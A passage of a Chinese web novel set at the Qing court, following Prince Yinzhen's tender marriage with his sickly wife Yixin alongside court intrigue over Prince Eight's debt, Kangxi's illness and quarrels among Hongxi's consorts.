仪欣熟稔钻到胤禛怀里,寻了一个最有安全感的位置,轻轻吸了吸他的气息。 “王爷,想亲一会儿。”仪欣轻声戳了戳他的胸膛。 “你来。”胤禛仰头轻吐一口气,手臂用力将怀中人儿往上提了提。 仪欣往上蹭一蹭,先吻住他的唇角,受惊小动物般试探舔/一下他的唇。 胤禛薄唇轻启。 仪欣软乎乎的试探进/去,跌跌撞撞磕碰到胤禛的牙齿,吐气如兰溢出些嘤咛,手抓着胤禛的手臂,主动亲一会儿就有些茫然,晕乎乎的不知道自己在做什么。 胤禛感觉到差不多了,单手一下下捏着她的后颈,边安抚边将主动权收拢到手里,“乖孩子,只是亲一会儿,你放松。” 第93章号外号外,十爷和九爷打起来啦 胤禛平复一下,低头亲了亲怀中人的额头和软乎乎的耳朵,只听到怀中人嘀嘀咕咕念叨。 “如果王爷很累,就可以不要做这么多差事。虽然我喜欢银两,但是,不如你。” “我总怕王爷把自己卖了,我可就没有王爷了。” “王爷,你在朝堂上是不是很辛苦?” 无功不受禄,这么大笔银两,万岁爷给完,太子又给,总不能只是因为王爷讨喜吧? 仪欣气喘吁吁,把玩着骨节分明的手指,蜻蜓点水揉捏他的指腹和关节。 夜里就是适合说些敞开心扉的话,她的声音轻轻的小小的,软哝哝透着她颇为直白的担忧。 她好像对于有些事总是少一些敏感,朝政之类的事,她这些日子读了些策论和史书,慢慢也开始思考更多的事情。 胤禛的心似乎在落雪,他陷在松软的雪里。 他颇为运筹帷幄安抚她的小情绪,温和又清明开口:“不辛苦啊,仪欣在家操持后宅,掌管中馈才辛苦。” “你不要担心任何事情,你只需要好好吃饭,好好睡觉,每天开开心心养好身体,认真读书做功课,就可以了。” 这样他在朝堂上做事就会很安心。 “王爷,你对我的要求也太低了。”仪欣被安抚着放下心来,在夜里偷偷笑,悄咪咪补充一句,“就读书上要求不低。” “本王要为夜里的每个吻负责的。”胤禛说着,又亲一口。 对她某些方面低要求也好,读书上高要求也罢,他都是要对她负责的。 仪欣眸光流转,故意找茬轻咳一声,“对夜里的吻负责,白日的吻呢?王爷不负责了吗?那你可太坏了!” 胤禛闷闷笑出声来,拍一下她的屁股,轻啧一声:“白日?白日自然是轮到福晋对本王负责了。” “那好吧。”仪欣就这么软绵绵答应下来,她琢磨一会儿,还附和一下,“好像真的很公平欸。” 胤禛勾唇,“公平就对了。” * 这些日子朝堂上最令人瞩目的便是八爷私自扣下九爷缴纳国库的四百万两白银。 树倒猕猴散,朝臣蜂拥而上弹劾老八。 八贤王名声算是臭了。 胤禛还是想试探一下康熙的态度。 故而,有人弹劾,九爷年纪轻轻却坐拥千万两白银,是不是存在贪污受贿的事由,并非简单与民争利。 康熙将怒火都在四百万两白银上,将弹劾老九贪污的折子压在御案。 胤禛便退一步了。 老三一党的官员提起冬日太子在雍亲王府组织打马吊牌的事,弹劾太子和四爷。 不疼不痒的。 胤禛只是抬眼看一眼康熙,跪地请罪,慢悠悠叹口气。 康熙没有轻拿轻放,反倒是发了大脾气,直指那些官员尸位素餐,不做正事,反而盯着他儿子们私下兄弟间的正常往来。 就差没毒舌讽刺他们吃饱了撑的。 仪欣最近没旁的事,就是用膳读书,再加上每天听王爷的小厮汇报八爷又还了多少钱,吃零嘴看热闹解闷。 “福晋,您可没瞧见,今儿十爷到养蜂夹道看望九爷,跟九爷打起来了!”小良子给仪欣哈腰递盏茶,声音尖细圆滑。 小良子明面上是苏培盛收的徒弟,私底下是粘杆处那边的探子。 本来是跟着苏培盛伺候王爷饮食起居的,如今专门给仪欣讲市井八卦,追踪八爷赔钱这件大事的最新消息。 胤禛怕她闷得慌,到处跑,索性就将小良子送过来,讲点粘杆处得到的消息给她解闷。 仪欣来了兴致,果断摘了护甲,给小良子抓一把金瓜子,“快细说细说。” “哎呦,奴才多谢福晋。”小良子规矩坐在圆凳上,绘声绘色说起老九老十打起来的缘由。 老十因为这四百万两白银去找老九,气得发抖说老八此人道貌岸然,不讲兄弟义气。 老九虽然在养蜂夹道,但是最开始的时候,他费心费力想将私产转移给老八,却没有成功,他当然清楚银两肯定不在老八那里,故而苦口婆心替老八解释。 “九哥,你疯了吗?他自己在皇阿玛面前亲口认下此事的!你那意思是我污蔑他?我诋毁他?他给你下药了你这么相信他?” 小良子模仿着老十的语气,伶牙俐齿复述。 仪欣笑得花枝乱颤,本来就是八爷拿了钱,老十跟老九去说,老九还不信,真是吃错药了。 “老九怎么说?” “哎呦,九爷就说呀…你怎么能这样想八哥?”小良子轻咳一声,接着压低嗓子,模仿老十说话,“十爷当即就怒了。” “我说的都是事实!那你是什么意思!他光风霁月,我蓄意诋毁?他要是心里没鬼,他吃饱了撑的变卖良田还那四百万?是吗?是吗?你相信他,那我呢?” “十爷当时也是激动了些,一来二去两人便推搡起来,等到小太监发现的时候,都见了血了。”小良子故作害怕,装模作样轻叹两声。 仪欣吓得哎呦一声,瘪了瘪嘴补充一句:“这老九可真够犟的。八贝勒今日还了多少了?” “又抵了良田千顷,约莫还了一半了。” 仪欣看热闹不嫌事大,轻哼一声:“两个月才还了这么点,也罢,他没碰八福晋的嫁妆吧?” “哎呦,福晋,王爷让奴才多跟您提着点,八福晋是个精明的,她不想给的东西,谁都不能碰。” 仪欣放下心来,只是这几个月听着姚虞喝求子汤药,却迟迟不能如愿,也有些说不清道不明的心疼。 一直等到春暖花开,惠风和煦,仪欣日子过得有滋有味。 胤禛很了解仪欣,带着她读史书看传记,偶尔会读晦涩的策论,暂时便当作她催眠的读物。 仪欣生辰时,在富察府过的,胤禛仍旧陪仪欣在富察府住了两晚,他在富察府都很随和,姿态放的很低。 他其实并不想跟别人分享仪欣的生辰,想着她第一个生辰没有家人陪伴,可能会有落差,还是选择回富察府一起为她庆祝。 第94章哄。 胤禛生了大气。 天渐渐暖了,仪欣两个来月没有生病,心思又开始活泛起来,私下里跟马齐可怜巴巴撒娇,悄声说想吃个乳酪冰碗。 马齐实在是太溺爱仪欣,凡事涉及仪欣可怜巴巴请求的时候,他是要星星不给月亮。 马齐:吃!必须可以吃啊! 闺女生辰后提的第一个条件,怎么能不满足? 没有危险的时候,阿玛就是最大的危险。 胤禛在户部办差回来,得知此事已然面露不虞,更不要说,仪欣当天夜里就发起烧来,难受得跟霜打的茄子一样。 胤禛气得哆嗦,他向来不苟言笑,虽说性格寡淡沉默,清冷薄情,却也不是暴戾恣睢爱发脾气的,但因为这件事破了例,差点将富察府掀了。 钮祜禄氏得知此事,又见仪欣生病难受,也发了大脾气,将马齐赶去睡书房,第二天便随着仪欣回到雍亲王府照顾她生病。 仪欣身子已经好很多了,生病不过三日,便又能活蹦乱跳,搂着钮祜禄氏撒娇卖乖。 她生病痊愈当天,钮祜禄氏就收拾又回富察府,仪欣本想留额娘在府中多住几日,但钮祜禄氏只是意有所指说一句,府上还有事要处理。 钮祜禄氏为仪欣做了好几种她爱吃的小点心,偷偷给仪欣妆匣塞了些银票,温柔承诺给她绣两件新的披风,便回了府。 临走时,钮祜禄氏温婉又颇为严肃叮嘱仪欣,在府中要听王爷的话,跟着王爷认真读书。 仪欣在钮祜禄氏走后才郁闷叹口气。 王爷?王爷都不亲她了! 那还得了?! 呜呜呜,他和她每天晚上都要亲一会儿才能睡觉的。 现在没有了。 她怎么撒娇卖乖,浑身解数都用光了,他只是会淡淡看她一眼,纵容叹口气说,乖乖睡觉吧。 除了不亲亲,其他一切如常。 但是,这对一个顶级小黏糕来说,已经是晴天霹雳了!!! 胤禛回府时,在半路遇上了富察府的马车,钮祜禄氏掀开马车窗帘,温声说想跟王爷说几句话。 此次来接钮祜禄氏回府的是傅辙。 “岳母请。”胤禛就近停在一个茶楼旁。 店小二上一壶茶后便悄声退下。 钮祜禄氏端庄抚髻行礼,款款落座,眸色清冷,温婉又不迟疑开口,只让胤禛不必心疼,严格管教约束小九。 钮祜禄氏一向端庄守礼,她此时却称呼小九,而非福晋。 胤禛没有诧异,只认真道,“岳母放心,小婿心中有分寸。” 傅辙却是急了,看向钮祜禄氏,“从前小九受了多少罪,如今好不容易娇贵养大,怎么能在嫁人后受委屈?” 钮祜禄氏淡淡的一个眼神递过去,还未说什么,傅辙当即噤声,恭敬道歉。 傅辙脾气血性很像马齐,疏朗大方,疼爱起仪欣来,跟马齐一样不分青红皂白。 傅文脾气性情像钮祜禄氏,温文守礼,七窍玲珑心,不喜形于色,分寸拿捏的极好,又有当家做主的手腕和魄力。 胤禛回雍亲王府,第一时间还是如往常那般把人抱到怀里,手摸到她的额头试探她的温度。 仪欣玉白小脸带着些生病后的绯红,精神却不错,她生龙活虎跟胤禛分享今日做了什么,两个人一同用晚膳。 饭后,仪欣坐在桌案前练字,胤禛站在她身后耐心教导, 仪欣态度特别良好,认真又努力,还主动要求多写一张。 胤禛无奈看她一眼,温声让她去洗漱看话本子,然后自己坐在桌案前给她批改大字。 仪欣天都塌了。 老天爷啊,她刚刚特别高超试探一下,王爷是真的不会亲她了。 她知道王爷生乳酪冰碗的气,心虚了几日,但是,王爷总不能连累她吧。 胤禛:我最好是在生乳酪冰碗的气,而不是在生富察仪欣的气。 一直到晴云悄声进到内室熄了烛火,又落下床幔,仪欣都没看完一页话本。 胤禛将人搂在怀里,下意识低头亲怀中人的发顶,喉结轻滚,又克制咬了咬舌尖。 谁能知道他这几日有多难熬,怀中这只,他不能凶不能罚,他只能想出个不亲法子让她长点记性,却忍得难捱,处处隐晦克制。 仪欣抿着唇期待着,如果烛火重燃,便能看到她乌润润渴望的秋水剪瞳。 “王爷…”仪欣喉咙还有些哑,变成了软糯又迷人的小烟嗓,咕哝咕哝问,“今晚可以亲亲吗?” 胤禛闭上了眼睛,心道,完了。 见他沉默,仪欣操着小烟嗓又可怜兮兮追问:“王爷,我就亲一小口可以吗?” “嗯。” 胤禛的声音在静谧的夜里格外清晰,他不由自主说完,来不及错愕,唇上便被重重亲了一口,又被她温软偷腥般舔了一下唇珠。 他抿着唇没有说话,隐晦往后退了退身子。 仪欣见他没反应,开始怀疑自己,心中哭唧唧地下雨,王爷真的好难哄啊,她真的找不到哄王爷的路了。 半晌,她窸窸窣窣轻蹭,瞪圆了眼睛,暗戳戳拽了拽胤禛寝衣的衣袖。 “嗯?”胤禛哑声询问。 “王爷,我知道你生乳酪冰碗的气了。” 胤禛冷笑:“本王生富察仪欣的气,乳酪冰碗不是心甘情愿钻到你肚子里的。” 仪欣晃了晃他的衣袖,另一只手大胆的摸上他的某/处。 “王爷,如果…做…的话,王爷会不会就不生气了?”仪欣小烟嗓不知不觉哄着他。 “不能,你听我说。” 胤禛按住她的手腕,直接坐起来,将仪欣连人带被衾拉着坐起来。 他眸色漆黑,严肃抿着唇,气得巴不得在寝殿转两圈,但只是低头重重亲了她几口。 仪欣被他亲得懵懵的,又喜滋滋的。 胤禛沉声开口:“小乖,做那种事不是你讨好我的手段,明白吗?” 他和她做的次数寥寥无几,每一次都是感觉爱到要溢出来,才疏解的欲/望,只是因为好爱好爱。 他不会在政事不顺时拿这件事当舒缓,他也不会不顾她的身体去倾泻欲/望。 仪欣沮丧抱住他的腰,哼哧哼哧抱怨说:“可是我不知道怎么办了,都怪你不教我怎么哄你。” 第95章康熙抱恙 整天知道错了但偶尔不改,不行。 避重就轻,一会责怪乳酪冰碗,一会又往马齐身后躲,不行。 仪欣悄咪咪噤声,钻到胤禛怀里,嘎嘣一下躺到他的膝头。 她哑着嗓子软糯开口保证:“我真的知道错了,我保证。” “嗯。”胤禛拍了两巴掌她的屁股,主要是手痒,绝对没有生她气的原因。 仪欣被打了两巴掌也没娇气吭叽,反而明媚娇憨吸了吸鼻尖,“那王爷快原谅我。” “好。”胤禛低头又亲一下,听到她喜滋滋的笑意,给她喂一点温水。 仪欣枕在胤禛的膝头,胤禛一下下抚摸她的脑袋,仪欣很喜欢沟通,有什么事便是快言快语,跟胤禛解释她吃乳酪冰碗的想法。 自幼夭折的风险一直笼罩着她,她免不了有一种很胆怯又及时行乐的矛盾感。 她知道有时候吃喜欢的膳食会不舒服,但是,她的观念让她评估后愿意承担这种风险,毕竟死不掉就好,喝一碗药跟喝两碗药,于她而言,差别不大。 胤禛听了有些沉默,其实,她的想法有她的道理。 他也有错,不该矫枉过正,让她完全戒掉。 “那到夏日,问过太医后,我陪你一起吃乳酪冰碗,还可以一起吃别的冰甜品,你不能偷偷吃,这样可以吗?”胤禛温声询问。 他跟她不一样,她说她已经习惯了一扬扬小病,死不掉就好,他没有习惯,他也习惯不了,她再小的生病,他都看在眼里,熬得整夜睡不着。 “可以!”仪欣欢欢喜喜点头,她对今年的夏日格外期待。 她要裁制许多漂亮的夏日衣衫,然后跟喜欢的人分享同一盏乳酪冰碗,如果身体好的话还可以到处去走走,他们会有一整个长长的夏天。 胤禛弯了弯唇,“好了,问题解决了,睡觉。” 仪欣又碰了碰他的某处,那里还是很/硬,她小声说,“王爷如果想的话…是可以的。” “等天暖和了,带你去庄子上玩。”胤禛无奈,攥住她的手腕,抱着她躺好,沉默一下,转移话题。 “王爷又不想上朝了吗?” “嗯…养着本王吧…别闹人…认真睡觉…” “王爷你们信佛的人就是不一般…清心寡欲的…我都忍不住不亲你…” “好了,那你亲一下吧,亲一下就睡。”胤禛嗓音暗哑。 仪欣仰头亲亲他的唇,餍足闭上眼,把两条腿搭在他的腰肢上。! 胤禛苦笑一下,他其实也忍不住。 等她身体彻底好了,她就能看到他有多“清心寡欲”了。 第二日。 仪欣迷迷糊糊坐起来时,发现胤禛还在寝殿,她揉了揉眼睛,看到胤禛蹙着眉头担忧看着她。 “王爷…”仪欣小烟嗓黏糊糊唤他,“没上朝吗…” 胤禛轻轻叹口气,上前低头亲亲她的额头,沉声说:“仪欣,皇阿玛有恙,今日不朝,本王马上要入宫侍疾,如果没猜错的话,一连几日不会出宫。” “那我怎么办?”仪欣竖起脑袋。 她晚上不想自己一个人在府中。 胤禛揉了揉额角,把怀中人儿搂紧些,不到迫不得已,他不想留她一个人在府里,尤其是她刚病愈,她离不得他。 “仪欣想回富察府吗?” “不回去,额娘昨日才走呢,我在府中等你回来,可以吗?” 胤禛沉默一会儿,轻声说:“亲一下,本王就入宫了。” 仪欣穿着肉粉色的寝衣,一双手臂挂在胤禛的脖颈上,锲而不舍亲了好多下才松开。 “王爷你得好好用膳,还要早点睡觉,在宫里就…别太辛苦。”仪欣叮嘱说。 胤禛忍俊不禁,晃晃她的胳膊,“嗯,放心吧。” “你…你回来不能有乱七八糟的脂粉气。”仪欣别扭瞅他一眼。 胤禛故意逗她,状似勉强叹口气,见她气恼瞪圆了眼睛,闷闷笑出声来:“本王身上只会有福晋的脂粉气。” 仪欣这才满意,弯了弯眼睛。 胤禛让仪欣有什么事派小良子传信,叮嘱完便离府入宫了。 乾清宫。 胤禛因为放心不下仪欣,得到消息后在府中陪她一会儿才入宫,如今,乾清宫康熙龙榻前已经跪满了阿哥们。 他来的算是最晚的。 康熙没什么大病,只是偶感风寒,头痛难忍,如今他上了年纪,再若是不好好静养,恐有中风的危险。 他半倚在床头,尽可能装得康健些,却浑身无力,威仪眯着丹凤眼,扫视跪在地上面露忧色的儿子们。 太子见胤禛到了,无声往床尾退一下,让出身边位置给胤禛。 胤禛利落跪下,担忧替康熙掖了掖被角,温和无害看向梁九功,直接问:“皇阿玛的身体,太医怎么说?” 身后跪着的阿哥们闻言一惊。 他们跪了这么久,不敢打探一句皇阿玛身体,四哥一来就不避讳开口询问。 他寒碜谁呢? 康熙睨一眼胤禛,无奈又冷淡开口:“急什么,朕无碍,不过是年纪大了。” 胤禛轻笑一下,膝行靠近康熙,又掖了掖被角,小声说:“哪里年纪大了,皇阿玛言不由衷罢了。” 康熙卯足力气踹了胤禛肩膀一脚,笑骂一句:“你少来气朕。” 太子胤礽看着二人互动,无悲无喜,跪在床尾,反而觉得很轻松,终于不用贴在跟前蹙着眉装哭了。 不出所料,太子和老三监国理政,胤禛和老十四留在乾清宫侍疾。 胤禛和太子走在乾清宫庭廊下,太监宫女纷纷行礼避让。 太子笑一下,冷不丁问:“老四,你看着皇阿玛这病,几分真,几分假?” 胤禛顿住脚步,无奈开口:“二哥,慎言。” “慎言?孤不用说不用做,皇阿玛心里不知道如何揣测孤大逆不道,言与不言,有何差别?”胤礽倚在红墙上,喘着粗气。 皇阿玛防着他,不放心他侍疾,连监国也塞个老三那个废物给他添堵。 春日光影落在太子杏黄色的蟒袍上,缓缓上移,落在他狠厉偏执的眸间,胤禛在廊下负手而立,阳光落到他幽蓝色亲王蟒袍的紫蟒上,仿佛活灵活现的紫蟒盘踞到他心间沟壑里。 胤禛低头笑了笑,“臣弟比太子殿下又好到哪里去呢?” 第96章侍疾 胤禛没有猜错。 他确实要在宫中住上几日,只是,如今入夜还有一个老十四与他大眼瞪小眼。 二人住在乾清宫偏殿。 因为仪欣体弱多病,胤禛平日里时常看医书,他此时坐在康熙床头,看着两个小太监将寝殿内烛火熄灭两盏,心里不虞叹口气,他的仪欣一扬小病,都比皇阿玛要严重许多。 如今只能留她一个人在府中,也不知道她有没有睡着。 “回去歇吧,朕晚上不用人伺候。”康熙沉声开口。 老十四当即扶膝起身。 胤禛不紧不慢开口:“皇阿玛,儿臣在这为您守夜。” 老十四心梗,傻乎乎又坐下了。 康熙一噎,丹凤眼扫向老十四,沉声呵斥让老十四滚出去。 “儿臣也给皇阿玛守夜。”老十四端过来一盏茶。 “今晚便让老四留下吧。”康熙冷哼,挥挥手让老十四退下。 胤禛给康熙重新倒了一杯温水,待康熙喝完后,妥善扶着他躺下,又掖了掖被角。 他很习惯照顾病人,这些次仪欣有些头疼脑热,都是他亲自照顾的,所以端茶倒水喂药很妥帖。 康熙心头熨帖。 他如今只相信胤禛,不放心任何人深更半夜留在他身边,他干燥温热的手掌拍了拍胤禛的肩膀。 胤禛轻声唤一句:“阿玛…” “嗯。”康熙睁着眼,抿唇随口问,“你觉得太子怎么样?你和他走得近,跟朕说说。” 胤禛笑笑,在床榻边圆凳上坐着,轻声回复,他没有诋毁太子,也没说什么恭维的话,只是说了说从前,又讲了讲现在。 “那老十四呢?你怎么看?”康熙问。 胤禛罕见少年气,扯了扯唇角,不屑说:“儿子不想提那个废物点心。” 康熙呵呵笑,无奈看一眼胤禛,胤禛也算是跟他交心,虽然对外不喜形于色,对他还是有话直说,情绪毕露,老十四确实不悌兄长,不像话。 “朕想让他去西北带兵,若是顺利,再将那个年羹尧替换了。”康熙的眸子凝视着跳跃的烛火。 胤禛蹙了蹙眉,劝一句:“老十四年纪轻,不妨在京中军营再历练几年吧。” 康熙叹口气看他一眼,冷哼说:“你呀,还是怀柔心软,虽说看不上老十四,却还是处处替他考虑。” 胤禛缓缓垂下了眼睛,在光影下静静看着明黄色的床幔,思忖一下,仍旧不死心试探一句:“阿玛,儿子…觉得老八的账册不太对劲。老九银两的来路…” 胤禛还没说完,康熙重重叹口气打断他,语重心长教导一句:“吾儿,四百万两白银缴纳入库即可,那银两的来路,朕亦有所耳闻,到此为止吧。” 他总不能杀亲子吧,警告一下便罢了。 胤禛轻轻“嗯”一声。 到此为止?止?贪污受贿,朝堂上风平浪静,百姓呢? “阿玛,您治国理政之时,儿子愿意做恶人,替皇阿玛做事,只盼大清海清河晏。”胤禛深深叹口气,似乎是鼓足了勇气,轻声说。 “皇阿玛,为大清兴盛,儿臣准备好了,儿臣不怕死。” 胤禛说出这句话,脑海中都是某个软乎乎的身影,他就是在演戏,可他能通过令人震撼的语言触碰到那个视死如归的小仪欣。 想起这句话,他总是有些控制不住自己的情绪。 康熙一愣,心里涌上浓浓的愧疚感,胤禛这些年得他重用,某种程度上,他只是在下棋落子,用胤禛的亲王之位,挑起诸皇子间的竞争意识。 胤禛越过老三,与老大同时封亲王,这些年他对胤禛委以重任,却也在无形中磋磨了他。 没有母族扶持,没有妻族依附,胤禛怕是难捱极了。 生病的人总是性情一些,康熙坐起身来,胤禛忙上前扶着他。 康熙的手摸了摸胤禛的脸,轻轻抚了抚,温和悲悯说:“好了,死什么死,朕保证,朕在位一日,你便能大展拳脚做事。” 他停顿一下:“朕百年之后,无论谁继位为帝,你都是大清最尊贵的亲王,朕会给你留一条退路的。” 胤禛替他做了不少得罪人的事,他百年之后,胤禛怕是…… 康熙确实没有想过胤禛继位的可能。 胤禛也清楚。 他不过分感激,亦不失落,反而微微蹭了蹭康熙的手,低声说:“只有阿玛疼我。” 才怪。 胤禛补充。 康熙拍了拍胤禛的脸,不自在地轻哼一声:“行了,朕安寝了,你去偏殿睡吧,不用伺候朕。” 胤禛悄声退出寝殿。 转身后,他变脸勾了勾唇,玩味吐出一口气,显然对康熙的话不以为意。 不用皇阿玛给,他想要什么,他自己会去拿。 胤禛觉得自己情绪不太稳,他在夜里走得很慢,尽力压下他喧嚣夺权的心思,野心昭昭的思绪将他缠得更紧,有点喘不上气。 他行至偏殿,小泉子已经候在偏殿伺候了。 “刘小泉?”胤禛语气带着笃信,撩袍坐在桌案前。 小泉子惊喜哈腰,“王爷,是奴才。” 胤禛扯唇笑笑,挥挥手让他退下,自顾自磨墨,夜深人静里,他在宣纸上胡乱写着东西。 雍亲王府。 仪欣乖巧坐在桌案前,左手压着宣纸,右手捏着羊毫笔,她粉面慵妆,好像海棠初盛,抿着唇一板一眼落笔。 晴云一遍遍将烛火调亮,温声劝了半个时辰还没劝福晋早睡。 除了王爷之外,没人能管的住福晋了。 晴云的目光担忧看向桌案,镇纸下已经压了一摞信纸了。 福晋写了半个时辰了,她在一旁侍奉笔墨,也偶尔窥见只言片语,单单是“我想王爷”便出现了足足四五次。 仪欣哼哧哼哧落笔,仿佛不知疲倦,她真的有好多话想跟王爷说。 王爷不亲她了,晴天霹雳。 王爷不能陪她睡觉了,更是晴天霹雳!谁能莫名其妙把王爷给她还回来,呜呜呜呜! “王爷你睡着了吗,我根本就睡不着。” “王爷,我今晚吃了燕窝肥鸭丝,香茅乳鸽,东阿阿胶炖羊肉,芦笋元贝,夜合虾仁,珊瑚白菜,浓汤菜心,蟹肉双笋丝……还喝了小肉丸汤…你呢?” “王爷,皇阿玛明日能康复吗?” “王爷……” “王爷……” “王爷……” 第97章乌朗罕济尔默氏 仪欣秉烛夜读,叽里咕噜写了一堆话,一张张塞到漂亮的信封里。 厚厚一摞信,仪欣美滋滋压了压。 晴云看着自家福晋要安寝,端着玫瑰花水伺候福晋净手。 床榻上,仪欣辗转反侧闭着眼睛,她一个人独占三条被衾,怎么抱着被衾都不得劲,床幔后灯火幽微,她头埋到被衾里蹭了蹭。 … 第二日,胤禛便收到仪欣送进宫来的信。 ——满满一包袱信。 看着粉红色小包袱里鼓鼓囊囊的,胤禛就知道事情不简单。 含笑拆开小包袱,看着稀里哗啦十多封信摊在桌案上,胤禛眼里笑意深了。 小黏糕。 不过才一日未见,怎么这么多话要说。 若是只有一张纸,他还要紧张一下她是不是出事了,一包袱信,那单纯是小话唠想他了。 坐在桌案前,胤禛小心翼翼拆开一个个信封,满眼便是“王爷…王爷…王爷…” “王爷,今晚会梦到王爷吗?” “王爷今晚梦到我了吗?” “王爷,你睡了吗,我根本睡不着。” 他轻易便能幻视仪欣小牛犊子般扎到他怀里,笑靥如花嘀咕着说话的模样,连尾音都带着软绵绵的委屈。 小可怜。 胤禛眸色温柔,未叫人伺候,自己捏着墨条磨墨,边看信边提笔叮嘱她几句。 这时,小泉子匆匆走进来,提醒道:“王爷,太子爷和弘皙阿哥到乾清宫了。” “好,本王这便来。”胤禛揉了揉额角,把没看完的放置好。 … 毓庆宫,花厅。 莫雅琪勾唇看向年枝,讽刺说:“有些包衣奴才就是爱攀高枝,怎么不掂量掂量自己什么身份,也想跟着爷去乾清宫?” 年枝倚着座椅靠背,跋扈不屑开口:“什么身份?自然是跟你平起平坐的身份。” 仗着弘皙阿哥愧疚她几分,天天摆那正室嫡妻的谱给谁看? 若是她受这样的奇耻大辱,她就三尺白绫吊死自己。 近日哥哥给她传信,哥哥在川陕正是得用的时候。 太子殿下可是有求于哥哥。 她能怕乌拉那拉氏? 莫雅琪日子本就过得不痛快,看一眼上首汉话都一知半解的蒙古福晋,心里恨得紧,在母族和身份上又压不住她。 她能让年氏那个贱人拂了脸面? “先满蒙后汉,你也配跟我平起平坐?”莫雅琪咬牙。 年枝没有说话,嗤笑耸肩,捏起茶盏慢悠悠叹口气,挑衅地将一盏茶对着莫雅琪倒在地上。 “贱人,你敢咒我!” “我可没有,是你自己把日子过成这样的,我听说乌拉那拉格格在府中惯爱挤兑磋磨庶妹,这下好了,大清可没有妾室扶正的规矩,你生出来的孩子都是你看不上都庶出,都是报应。”年枝疯批发笑,挑衅指了指莫雅琪。 她被迫嫁给弘皙为侧福晋,她不会让毓庆宫后院安稳的。 莫雅琪听不得“庶出”和“侧福晋”这种话,满脑子都是贱人贱人。 一来二去,两人竟是打骂撕扯起来。 弘皙的妻子乌朗罕济尔默氏,噶尔藏之女。 此时乌朗罕济尔默氏抿唇淡淡看一眼身侧站着的贴身丫鬟,挥挥手,“乌吉娜,分开她们。” 乌吉娜上前,粗鲁扯开两个人,毫不客气反手甩了年枝贴身侍女一巴掌,“福晋面前,谁敢放肆?” 转身又甩了莫雅琪的贴身丫鬟一巴掌。 “不能规劝主子,便是你们无能,罚三个月俸禄。”乌吉娜冷笑一声。 这毓庆宫是什么乱七八糟的地界? 她们蒙古都没有这么复杂的人际关系。 这乌拉那拉氏是个恃宠而骄的,这年氏简直没法形容,跟疯了似的。 她可要护好格格。 “你个奴才有什么资格罚本福晋的大丫鬟?”莫雅琪不屑。 乌朗罕济尔默氏操着蒙语,清冷开口:“乌吉娜不是奴婢,她是本福晋的表妹,她的话,便是本福晋的话。” 话音刚落,便有一个精通蒙语的丫鬟翻译乌朗罕济尔默氏的话。 乌朗罕济尔默氏不屑改变她的语言,去迁就京城里的一切。 她的额娘说了,她来京城只需要侍奉好皇玛法,不用讨好任何人,便会有人金尊玉贵养着她。 “本福晋要去看皇玛法,你们下去抄百遍佛经,为皇玛法做些事情吧,省得整日在府中闲得兴风作浪。”乌朗罕济尔默氏淡淡吩咐。 年枝反应过来,连忙跟上,略带讨好轻声说:“福晋,妾身也想去给万岁爷请安。” 乌朗罕济尔默氏不咸不淡看她一眼,随意抚了抚鬓发,开口说:“随意,少说少做,在皇玛法面前犯了忌讳,本福晋便派人打死你。” 年枝欣喜抬眸,恭维附和说:“妾身全听福晋的。” 莫雅琪见年枝这般异样,看着两个人的背影蹙了蹙眉头,垂眸思忖片刻。 有猫腻。 年氏这个贱人,谁都不在乎,一副活腻了的样子,怎么可能讨好福晋? 乾清宫。 虽然只有胤禛和老十四是康熙钦点的侍疾人选,可康熙子嗣众多,连带着皇孙也不少,白日自然络绎不绝来乾清宫请安,争先恐后尽孝心。 无论谁来探望,胤禛和老十四都理应在一旁。 晚上二人又轮流侍疾。 一整日没个空闲。 胤禛正想着何时给仪欣回信的事情,弘皙上前来给胤禛和老十四问安。 “四叔,十四叔辛苦了。”弘皙温文客气开口。 胤禛淡淡点头,老十四和太子关系极其一般,冷笑一下,索性装听不见。 乾清宫寝殿里又跪满了装模作样嘘寒问暖的人,刚走了一波小嫔妃,又来了一圈阿哥们。 胤禛已然有些不适,胸口发闷,听着梁九功禀告皇长孙福晋前来请安,胤禛蹙了蹙眉,拍了拍老十四,“本王去更衣,皇阿玛这里,你盯着点。” 老十四臭着脸,别别扭扭点点头。 额娘让他跟四哥交好,他也知道理应如此。 可他怎么都过不了心里的坎。 他想在京城附近带兵,如今便是临门一脚,四哥跟皇阿玛最亲近,说上几句话,最管用。 他得有能力,再想旁的事。 第98章让年氏有个孩子 胤禛离开乾清宫正殿,在假山处透口气,偏头轻轻嗅了嗅蟒袍上有没有脂粉气。 春日拂去隆冬的寒凉,胤禛随意倚在假山上,仰着头深深吐出一口浊气,心脏那种发紧的感觉才稍稍褪去。 他穿着一身幽蓝色蟒袍,整个人敛去锋芒,眉眼却是冷硬锋利的模样,他的气质很浓,在何处都是一眼能关注到的存在。 突然,胤禛揉了揉眉心,直起身来转身要离开。 “妾身年氏给雍亲王请安。”年枝暗哑的声音从胤禛身侧响起。 两个人隔着三步远。 胤禛心头涌起一股烦躁,没有应声便要离开。 “王爷,三年前,京城别庄,多谢王爷的救命之恩。”年枝上前两步,赶忙开口,她想知道他记不记得救过她。 胤禛顿住脚步,回头扫视她一眼,凝视着年枝渐渐暗含期许的眸子,慢悠悠眯了眯眸子:“哦?是你啊?” 年枝欣喜若狂,手帕被汗浸湿,连连点头,放轻了声音:“王爷…您…” 胤禛抬了抬手,遗憾道:“若知道是你,当日便不救了。” 杀人诛心。 杀人诛心。 年枝感觉到自己的血猛得便凉了,踉跄扶上假山,注视着雍亲王朦胧模糊的背影,才发现自己泪流满面。 他,否定了她的三年。 为什么会这样。 … 入夜,毓庆宫。 “什么?你可看清楚了?”莫雅琪错愕起身,将丫鬟拉到内室,“这不是小事,你重说一遍。” “侧福晋,奴婢亲眼所见,年氏和雍亲王是旧识,奴婢守在乾清宫门口,见那年氏没有等福晋,孤身一人哭着出来的。” 莫雅琪咽了咽紧张的酸水,扶着墙缓缓坐在圆凳上。 年氏,雍亲王。 八竿子打不着的两个人。 还有富察仪欣,富察仪欣可是雍亲王福晋。 她跟富察仪欣比了这么多年,成亲后却是天上地下的差距。 雍亲王她肯定是接触不上了,只能看看年氏那里有什么破绽。 这旧识,到底有多旧? “侧福晋,不好了!侧福晋,年侧福晋大出血,侨光苑已经闹起来了,福晋和爷都到了。” 莫雅琪又是一惊,这又是闹哪一出? 年氏大出血?难不成是有孕了? 不可能不可能,她跟爷尚未圆房,哪来的孩子? 莫雅琪前赴后拥匆匆赶到侨光苑,就见一盆盆血水从内室往外端。 “怎么了这是,小产了?”莫雅琪小步端庄走到弘皙身边,小声嘀咕。 弘皙一噎,抿唇警告看一眼莫雅琪。 